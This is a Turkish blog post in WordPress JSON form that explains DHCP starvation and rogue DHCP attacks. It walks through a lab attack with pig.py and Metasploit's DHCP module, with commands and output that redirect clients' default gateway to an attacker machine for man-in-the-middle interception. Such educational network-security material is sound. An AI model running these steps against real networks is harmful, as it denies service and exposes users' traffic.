{"id":456,"date":"2015-08-16T18:09:59","date_gmt":"2015-08-16T15:09:59","guid":{"rendered":"https:\/\/furkansandal.com\/dhcp-servisine-yonelik-saldiri-cesitleri-dhcp-starvation-rogue-dhcp\/"},"modified":"2015-08-16T18:09:59","modified_gmt":"2015-08-16T15:09:59","slug":"dhcp-servisine-yonelik-saldiri-cesitleri-dhcp-starvation-rogue-dhcp","status":"publish","type":"post","link":"https:\/\/furkansandal.com\/dhcp-servisine-yonelik-saldiri-cesitleri-dhcp-starvation-rogue-dhcp\/","title":{"rendered":"DHCP Servisine Y\u00f6nelik Sald\u0131r\u0131 \u00c7e\u015fitleri (DHCP Starvation & Rogue DHCP)"},"content":{"rendered":"

[ad_1]
\n<\/p>\n

\n
Dynamic Host Configuration Protocol, istemcilere(client) IP Adres, A\u011f Maskesi(A\u011f Maskesi), DNS Sunucusu, Varsay\u0131lan A\u011f Ge\u00e7idi(Default Gateway) gibi ayar bilgilerini otomatik olarak sa\u011flayan bir istemci\/sunucu protokol\u00fcd\u00fcr. DHCP Starvation sald\u0131r\u0131s\u0131 ile bir a\u011f\u0131n DHCP Sunucusu\u2019\u0131 cevap veremez ve IP da\u011f\u0131tamaz hale gelebilmektedir. Hemen ard\u0131ndan sald\u0131rgan taraf\u0131ndan kurulacak olan Sahte DHCP Sunucusu ile ise a\u011fdaki yeni istemcilerin DNS, a\u011f ge\u00e7idi gibi adres bilgilerini sald\u0131rgan\u0131n amac\u0131 do\u011frultusunda da\u011f\u0131tmak m\u00fcmk\u00fcn olmaktad\u0131r.<\/span><\/div>\n<\/div>\n
\n
           <\/span><\/span>
<\/span>DHCP Starvation Sald\u0131r\u0131 Y\u00f6ntemi:<\/b>E\u011fer a\u011fa fazlas\u0131yla DHCPRequest paketi g\u00f6nderildiyse sald\u0131rgan, DHCP Sunucusunu da\u011f\u0131tmak i\u00e7in ay\u0131rd\u0131\u011f\u0131 adresleri uzun bir s\u00fcre me\u015fgul edebilmektedir. B\u00f6ylece hedef al\u0131nan a\u011fdaki istemcilerin DHCP havuzu kaynaklar\u0131 kullan\u0131lamaz hale gelmektedir. Bu y\u00fczden DHCP Starvation, DOS sald\u0131r\u0131s\u0131 olarak adland\u0131r\u0131lmaktad\u0131r.<\/span><\/span><\/div>\n<\/div>\n
\n
Sahte DHCP Sunucusu:<\/b> DHCP Starvation sald\u0131r\u0131s\u0131 ard\u0131ndan, sald\u0131rgan bir Sahte DHCP Sunucusu kurabilmekte ve \u2018man in the middle\u2019 sald\u0131r\u0131lar\u0131n\u0131 d\u00fczenleyebilmektedir veya kendi makinesini varsay\u0131lan a\u011f ge\u00e7idi olarak ayarlay\u0131p trafi\u011fi izleyebilmektedir.<\/span><\/span><\/div>\n<\/div>\n
\n
            <\/span><\/span>
Sahte DHCP Sunucusu, sald\u0131rgan taraf\u0131ndan hedef a\u011f \u00fczerinde kurulmu\u015f bir DHCP Sunucusudur. Sahte DHCP Sunucular\u0131 genellikle hedef a\u011f \u00fczerinde MITM, sniffing gibi sald\u0131r\u0131lar i\u00e7in kullan\u0131labilmektedir.<\/span><\/span><\/div>\n

<\/span><\/div>\n
<\/div>\n
Resim Kayna\u011f\u0131: http:\/\/mars.merhot.dk\/mediawiki\/index.php\/CCNP_SWITCH\/Securing_the_Campus_Infrastructure<\/span><\/div>\n

<\/span><\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
pig.py arac\u0131yla DHCP Starvation sald\u0131r\u0131s\u0131 yaparak a\u011fdaki ger\u00e7ek DHCP Sunucusu cevap veremez hale getirilebilmektedir. B\u00f6ylece a\u011fdaki yeni istemcilere da\u011f\u0131t\u0131lacak uygun ip adresi kalmam\u0131\u015f olmaktad\u0131r. Bu sald\u0131r\u0131 t\u00fcr\u00fc, a\u011fda bulunan istemcilerin uzun s\u00fcreli \u00e7evrimi\u00e7i oldu\u011fu durumlarda olduk\u00e7a etkili olmaktad\u0131r. Aksi takdirde sald\u0131r\u0131y\u0131 belli aral\u0131klarda tekrarlamak gerekmektedir.<\/span><\/span><\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
            <\/span>Uygulama<\/u><\/b><\/span><\/span><\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n
\n
\u0130lk olarak hedef a\u011f\u0131n A\u011f Maskesi, DNS Sunucusu ve A\u011f Ge\u00e7idi bilgileri ke\u015ffedilir. Daha sonra aray\u00fcz\u00fc(eth0) a\u011fda kullan\u0131lmayan bir ip adresi bularak ayarlan\u0131r. \u00d6rnek lab ortam\u0131nda a\u011f bilgileri a\u015fa\u011f\u0131daki gibidir:<\/span><\/span><\/div>\n<\/div>\n
    \n
  • A\u011f Maskesi: 255.255.255.0<\/span><\/li>\n
  • Varsay\u0131lan Y\u00f6nlendirici(Router) Adresi: 10.1.10.1<\/span><\/li>\n<\/ul>\n
    <\/div>\n\n\n\n
    \n
    root@kali:~# ifconfig eth0 10.1.10.10 netmask 255.255.255.0<\/b><\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    \n

    <\/span><\/div>\n
    Varsay\u0131lan A\u011f Ge\u00e7idi olarak kullan\u0131lacak bir alt-aray\u00fcz(alt-aray\u00fcz) olu\u015fturulur(eth0:1).<\/span><\/div>\n<\/div>\n
    \n
    Alt-aray\u00fcz i\u00e7in de kullan\u0131lmayan bir ip adresi ayarlan\u0131r. Bu aray\u00fcz\u00fc Varsay\u0131lan Y\u00f6nlendirici Adresi olarak kullanaca\u011f\u0131m\u0131z i\u00e7in ip adresi se\u00e7iminde Varsay\u0131lan A\u011f Ge\u00e7idi 10.1.10.1 ise bir alt-aray\u00fcz\u00fc 10.1.10.11 olarak ayarlamak ilk bak\u0131\u015fta daha az dikkat \u00e7ekici olabilmektedir.<\/span><\/span><\/div>\n<\/div>\n\n\n\n
    \n

    <\/span>
    <\/span>root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0<\/b><\/span><\/span><\/div>\n
    root@kali:~# ifconfig<\/b><\/span><\/span><\/div>\n
    eth0     <\/span>Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  <\/span><\/span><\/div>\n
                <\/span>inet addr:10.1.10.10  Bcast:10.255.255.255  Mask:255.0.0.0<\/span><\/span><\/div>\n
                <\/span>inet6 addr: fe80::200:5eff:fe00:10a\/64 Scope:Link<\/span><\/span><\/div>\n
                <\/span>UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<\/span><\/span><\/div>\n
                <\/span>RX packets:2373 errors:0 dropped:0 overruns:0 frame:0<\/span><\/span><\/div>\n
                <\/span>TX packets:3053 errors:0 dropped:0 overruns:0 carrier:0<\/span><\/span><\/div>\n
                <\/span>collisions:0 txqueuelen:1000<\/span><\/span><\/div>\n
                <\/span>RX bytes:262926 (256.7 KiB)  TX bytes:277272 (270.7 KiB)<\/span><\/span><\/div>\n
    <\/div>\n
    eth0:1 <\/span>Link encap:Ethernet  HWaddr 00:00:5e:00:01:0a  <\/span><\/b><\/span><\/div>\n
                <\/span>inet addr:10.1.10.11  Bcast:10.1.10.255  Mask:255.255.255.0<\/span><\/b><\/span><\/div>\n
                <\/span>UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<\/span><\/b><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    <\/span>Bu noktada sald\u0131rgan\u0131n makinesinde ip y\u00f6nlendirmeye izin verilir. (alt-aray\u00fcz ve \u2018ip_forwarding\u2019 ayarlar\u0131 makinenin yeniden ba\u015flamas\u0131 halinde kaybolmaktad\u0131r.)<\/span><\/span><\/div>\n\n\n\n
    \n

    <\/span>root@kali:~# echo 1 > \/proc\/sys\/net\/ipv4\/ip_forward<\/b><\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    Sonraki ad\u0131m olarak alt-aray\u00fcz\u00fcn(eth0:1) Varsay\u0131lan A\u011f Ge\u00e7idiini ayarlanmal\u0131d\u0131r. Alt-aray\u00fcz\u00fcn Varsay\u0131lan A\u011f Ge\u00e7idi, hedef a\u011f\u0131n ger\u00e7ek Varsay\u0131lan A\u011f Ge\u00e7idi olarak ayarlan\u0131r(10.1.10.1). \u0130stemciler i\u00e7in Varsay\u0131lan A\u011f Ge\u00e7idi olan Kali makinesi ayn\u0131 zamanda Varsay\u0131lan Y\u00f6nlendirici g\u00f6revi g\u00f6r\u00fcr. <\/span>

    <\/span>Bunun anlam\u0131 Varsay\u0131lan A\u011f Ge\u00e7idi 10.1.10.11 olan istemcilerin trafi\u011fi sald\u0131rgan\u0131n makinesine ula\u015fmaktad\u0131r. Hemen ard\u0131ndan a\u011f\u0131n ger\u00e7ek Varsay\u0131lan A\u011f Ge\u00e7idine(10.1.10.1) y\u00f6nlendirilmektedir.<\/span><\/span><\/div>\n

    <\/p>\n\n\n\n
    \n
    root@kali:~# route add default gw 10.1.10.1 eth0:1<\/b><\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    \u2018route -n\u2019 komutu, y\u00f6nlendirme tablosu(Route Table) ekrana yans\u0131t\u0131l\u0131r. Destination(0.0.0.0), yeni herhangi bir trafi\u011fin direk olarak A\u011f Ge\u00e7idi(10.1.10.1)\u2019e g\u00f6nderilmesini g\u00f6stermektedir.<\/span><\/span><\/div>\n\n\n\n
    \n

    <\/span>root@kali:~# route -n<\/b><\/span><\/span><\/div>\n
    Kernel IP routing table<\/span><\/span><\/div>\n
    Destination      <\/span>Gateway         <\/span>Genmask         <\/span>Flags   Metric  Ref  Use  Iface<\/span><\/span><\/div>\n
    0.0.0.0             <\/span>10.1.10.1         <\/span>0.0.0.0             <\/span>UG       <\/span>0          <\/span>0      0      eth0<\/span><\/b><\/span><\/div>\n
    …<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    Terminalde farkl\u0131 bir tab a\u00e7\u0131larak \u2018metasploit\u2019 ba\u015flat\u0131l\u0131r. Ard\u0131ndan Sahte DHCP Sunucusu ayarlar\u0131 yap\u0131l\u0131r.<\/span><\/span>

    <\/span>
    <\/span><\/div>\n\n\n\n
    \n
    root@kali:~# msfconsole<\/b><\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    DHCP mod\u00fcl\u00fc ba\u015flat\u0131l\u0131r. \u2018show options\u2019 komutu ile ekrana girilmesi gereken parametreler ve a\u00e7\u0131klamalar\u0131 yazd\u0131r\u0131l\u0131r.<\/span><\/span>

    <\/span>
    <\/span><\/div>\n\n\n\n
    \n
    msf > use auxiliary\/server\/dhcp<\/b><\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > show options<\/b><\/span><\/span><\/div>\n
    <\/div>\n
    Module options (auxiliary\/server\/dhcp):<\/span><\/span><\/div>\n
    <\/div>\n
      Name             <\/span>Current Setting  Required  Description<\/span><\/span><\/div>\n
      —-                 <\/span>—————  ——–  ———–<\/span><\/span><\/div>\n
      BROADCAST                        <\/span>no        <\/span>The broadcast address to send to<\/span><\/span><\/div>\n
      DHCPIPEND                            <\/span>no        <\/span>The last IP to give out<\/span><\/span><\/div>\n
      DHCPIPSTART                       <\/span>no        <\/span>The first IP to give out<\/span><\/span><\/div>\n
      DNSSERVER                         <\/span>no        <\/span>The DNS server IP address<\/span><\/span><\/div>\n
      DOMAINNAME                       <\/span>no        <\/span>The optional domain name to assign<\/span><\/span><\/div>\n
      FILENAME                              <\/span>no        <\/span>The optional filename of a tftp boot server<\/span><\/span><\/div>\n
      HOSTNAME                           <\/span>no        <\/span>The optional hostname to assign<\/span><\/span><\/div>\n
      HOSTSTART                         <\/span>no        <\/span>The optional host integer counter<\/span><\/span><\/div>\n
      NETMASK                              <\/span>yes      <\/span>The netmask of the local subnet<\/span><\/span><\/div>\n
      ROUTER                                <\/span>no        <\/span>The router IP address<\/span><\/span><\/div>\n
      SRVHOST                             <\/span>yes      <\/span>The IP of the DHCP server<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    DHCPIPSTART ve DHCPIPEND parametreleri Sahte DHCP Sunucusunun da\u011f\u0131taca\u011f\u0131 ip aral\u0131\u011f\u0131n\u0131 belirlemektedir. Bu y\u00fczden \u00f6nceden ke\u015ffedilen a\u011fda kullan\u0131lmayan bir ip aral\u0131\u011f\u0131 girilmelidir.<\/span><\/span>

    <\/span>
    <\/span><\/div>\n\n\n\n
    \n
    msf auxiliary(dhcp) > set broadcast 10.1.10.255<\/b><\/span><\/span><\/div>\n
    broadcast => 10.1.10.255<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set dhcpipend 10.1.10.199<\/b><\/span><\/span><\/div>\n
    dhcpipend => 10.1.10.199<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101<\/b><\/span><\/span><\/div>\n
    dhcpipstart => 10.1.10.101<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set dnsserver 8.8.8.8<\/b><\/span><\/span><\/div>\n
    dnsserver => 8.8.8.8<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set netmask 255.255.255.0<\/b><\/span><\/span><\/div>\n
    netmask => 255.255.255.0<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set router 10.1.10.11<\/b><\/span><\/span><\/div>\n
    router => 10.1.10.11<\/span><\/span><\/div>\n
    msf auxiliary(dhcp) > set srvhost 10.1.10.10<\/b><\/span><\/span><\/div>\n
    srvhost => 10.1.10.10<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    Gerekli parametrelerin verilmesinden sonra son durum a\u015fa\u011f\u0131daki gibi olmaktad\u0131r.<\/span><\/span><\/div>\n\n\n\n
    \n

    <\/span>msf auxiliary(dhcp) > show options<\/b><\/span><\/span><\/div>\n
    <\/div>\n
    Module options (auxiliary\/server\/dhcp):<\/span><\/span><\/div>\n
    <\/div>\n
      Name             <\/span>            Current Setting  Required     Description<\/span><\/span><\/div>\n
      —-                 <\/span>             —————         ——–         ———–<\/span><\/span><\/div>\n
      BROADCAST            <\/span>10.1.10.255     <\/span>      no              <\/span>The broadcast address to send to<\/span><\/span><\/div>\n
      DHCPIPEND    <\/span>10.1.10.199     <\/span>      no              <\/span>The last IP to give out<\/span><\/span><\/div>\n
      DHCPIPSTART       10.1.10.101         <\/span>      no              <\/span>The first IP to give out<\/span><\/span><\/div>\n
      DNSSERVER <\/span>8.8.8.8             <\/span>      no              <\/span>The DNS server IP address<\/span><\/span><\/div>\n
      DOMAINNAME                                      no     <\/span>The optional domain name to assign<\/span><\/span><\/div>\n
      FILENAME                                             no     <\/span>The optional filename of a tftp boot server<\/span><\/span><\/div>\n
      HOSTNAME                                          no     <\/span>The optional hostname to assign<\/span><\/span><\/div>\n
      HOSTSTART                                         no                <\/span>The optional host integer counter<\/span><\/span><\/div>\n
      NETMASK               255.255.255.0    <\/span>      yes            <\/span>The netmask of the local subnet<\/span><\/span><\/div>\n
      ROUTER        <\/span>            10.1.10.11       <\/span>      no              <\/span>The router IP address<\/span><\/span><\/div>\n
      SRVHOST     <\/span>            10.1.10.10       <\/span>      yes            <\/span>The IP of the DHCP server<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    DHCP Starvation sald\u0131r\u0131s\u0131 ba\u015flamadan \u00f6nce a\u011fdaki herhangi bir istemcinin Varsay\u0131lan A\u011f Ge\u00e7idi 10.1.10.1 olarak g\u00f6z\u00fckmektedir.<\/span><\/span><\/div>\n\n\n\n
    \n

    <\/span>
    <\/span>Ethernet adapter Local Area Connection:<\/span><\/span><\/div>\n
    <\/div>\n
      Connection-specific DNS Suffix  . : <\/span><\/span><\/div>\n
      Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5<\/span><\/span><\/div>\n
      IPv4 Address. . . . . . . . . . . : 10.1.10.203<\/span><\/span><\/div>\n
      Subnet Mask . . . . . . . . . . . : 255.255.255.0<\/span><\/span><\/div>\n
      Default Gateway . . . . . . . . . : 10.1.10.1<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    Sahte DHCP Sunucusunun ayarlar\u0131 yap\u0131lm\u0131\u015f ve ba\u015flat\u0131lmak i\u00e7in bekletilirken DHCP Starvation sald\u0131r\u0131s\u0131 ba\u015flat\u0131l\u0131r.<\/span><\/span><\/div>\n

    <\/span><\/span>
    <\/span><\/span>\u2018pig.py eth0:1\u2019 komutunu \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r.<\/span><\/span>

    <\/span>
    <\/span><\/div>\n\n\n\n
    \n
    root@kali:~# pig.py eth0:1<\/b><\/span><\/span><\/div>\n
    WARNING: No route found for IPv6 destination :: (no default route?)<\/span><\/span><\/div>\n
    [ — ] [INFO] – using interface eth0:1<\/span><\/span><\/div>\n
    [DBG ] Thread 0 – (Sniffer) READY<\/span><\/span><\/div>\n
    [DBG ] Thread 1 – (Sender) READY<\/span><\/span><\/div>\n
    [—>] DHCP_Discover<\/span><\/span><\/div>\n
    [—>] DHCP_Discover<\/span><\/span><\/div>\n
    [—>] DHCP_Discover<\/span><\/span><\/div>\n
    [<—] DHCP_Offer    cc:01:62:9d:00:00    0.0.0.0    IP: 10.1.10.251 for MAC=[de:ad:21:3b:c5:df]<\/span><\/span><\/div>\n
    [—>] DHCP_Request  10.1.10.251<\/span><\/span><\/div>\n
    …<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    <\/span>Ard\u0131ndan Sahte DHCP Sunucusu ba\u015flat\u0131l\u0131r.<\/span><\/div>\n\n\n\n
    \n

    <\/span>msf auxiliary(dhcp) > run<\/b><\/span><\/span><\/div>\n
    [*] Auxiliary module execution completed<\/span><\/span><\/div>\n
    <\/div>\n
    [*] Starting DHCP server…<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    <\/div>\n
    Art\u0131k a\u011fa yeni ba\u011flanacak olan istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktad\u0131r.<\/span><\/span><\/div>\n\n\n\n
    \n

    <\/span>
    <\/span>Ethernet adapter Local Area Connection:<\/span><\/span><\/div>\n
    <\/div>\n
      Connection-specific DNS Suffix  . : <\/span><\/span><\/div>\n
      Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5<\/span><\/span><\/div>\n
      IPv4 Address. . . . . . . . . . . : 10.1.10.102<\/span><\/span><\/div>\n
      Subnet Mask . . . . . . . . . . . : 255.255.255.0<\/span><\/span><\/div>\n
      Default Gateway . . . . . . . . . : 10.1.10.11<\/span><\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    <\/span>
    <\/span>Bu noktadan sonra man in the middle y\u00f6ntemiyle trafi\u011fi takip etmek m\u00fcmk\u00fcn olmaktad\u0131r.<\/span>

    <\/span>Yazar:<\/b> Bar\u0131\u015f DURKUT<\/span><\/div>\n
    <\/div>\n

    <\/p>\n

    <\/div>\n

    [ad_2]
    \n
    Source link <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

    [ad_1] Dynamic Host Configuration Protocol, istemcilere(client) IP Adres, A\u011f Maskesi(A\u011f Maskesi), DNS Sunucusu, Varsay\u0131lan A\u011f Ge\u00e7idi(Default Gateway) gibi ayar bilgilerini…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","footnotes":""},"categories":[6,1,9,10,7,4],"tags":[],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p6BM7I-7m","amp_enabled":true,"_links":{"self":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts\/456"}],"collection":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/comments?post=456"}],"version-history":[{"count":0,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/posts\/456\/revisions"}],"wp:attachment":[{"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/media?parent=456"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/categories?post=456"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/furkansandal.com\/wp-json\/wp\/v2\/tags?post=456"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}